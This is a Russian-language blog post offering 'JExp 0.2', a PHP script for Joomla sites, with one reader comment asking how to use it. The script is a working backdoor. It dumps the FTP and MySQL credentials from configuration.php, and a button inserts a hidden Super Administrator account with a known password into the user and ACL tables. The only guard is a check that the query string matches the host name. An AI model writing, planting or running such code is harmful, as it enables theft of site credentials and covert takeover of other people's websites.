Главная > CMS > JExp 0.2

JExp 0.2

По функциональности ничем не отличается от JExp 0.1, но реализовано более правильно.

  1. <?php
  2. function GetParam($arg) {
  3.    global $exp;
  4.    $show = $exp->$arg;
  5.    return $show;
  6. }
  7. function PrintParam($arg) {
  8.    print("<b>".$arg.":&nbsp;</b>".GetParam($arg)."<br/>");
  9. }
  10. if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {
  11.    include "configuration.php";
  12.    $exp = new JConfig();
  13.    echo "<h3>ftp configuration</h3>";
  14.    PrintParam('ftp_host');
  15.    PrintParam('ftp_user');
  16.    PrintParam('ftp_pass');
  17.    echo "<h3>mysql configuration</h3>";
  18.    PrintParam('host');
  19.    PrintParam('user');
  20.    PrintParam('db');
  21.    PrintParam('password');
  22.    PrintParam('dbprefix');
  23.    echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
  24.    if ($_POST['au'] != null) {
  25.       $here_we_go = mysql_connect(GetParam("host"), GetParam("user"), GetParam("password"));
  26.       $select_db_query = mysql_select_db(GetParam("db"), $here_we_go);
  27.       $new_username = "username02";
  28.       $new_fullname = "UserName";
  29.       $new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
  30.       $jos_users_query = mysql_query("
  31.          INSERT INTO jos_users
  32.          (name, username, email, password, usertype, block, sendEmail, gid, registerDate)
  33.          VALUES
  34.          ('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())
  35.          ", $here_we_go);
  36.       $jos_core_acl_aro_query = mysql_query("
  37.          INSERT INTO jos_core_acl_aro
  38.          (section_value, value, order_value, name, hidden)
  39.          VALUES
  40.          ('users', LAST_INSERT_ID(), '0', '".$new_fullname."', '0')
  41.          ", $here_we_go);
  42.       $jos_core_acl_groups_aro_map_query = mysql_query("
  43.          INSERT INTO jos_core_acl_groups_aro_map
  44.          (group_id, aro_id)
  45.          VALUES
  46.          ('25', LAST_INSERT_ID())
  47.          ", $here_we_go);
  48.       echo "added superadmin - ".$new_username.":qwerty";
  49.    }
  50. }
  51. else {
  52.    echo "unauthorized access!";
  53. }
  54. ?>
Categories: CMS Tags: ,
  1. Виталий
    Апрель 1st,2011 в 00:37 | #1

    а как им пользоваться… что-то не понятно…как для новичка??

Похожие публикации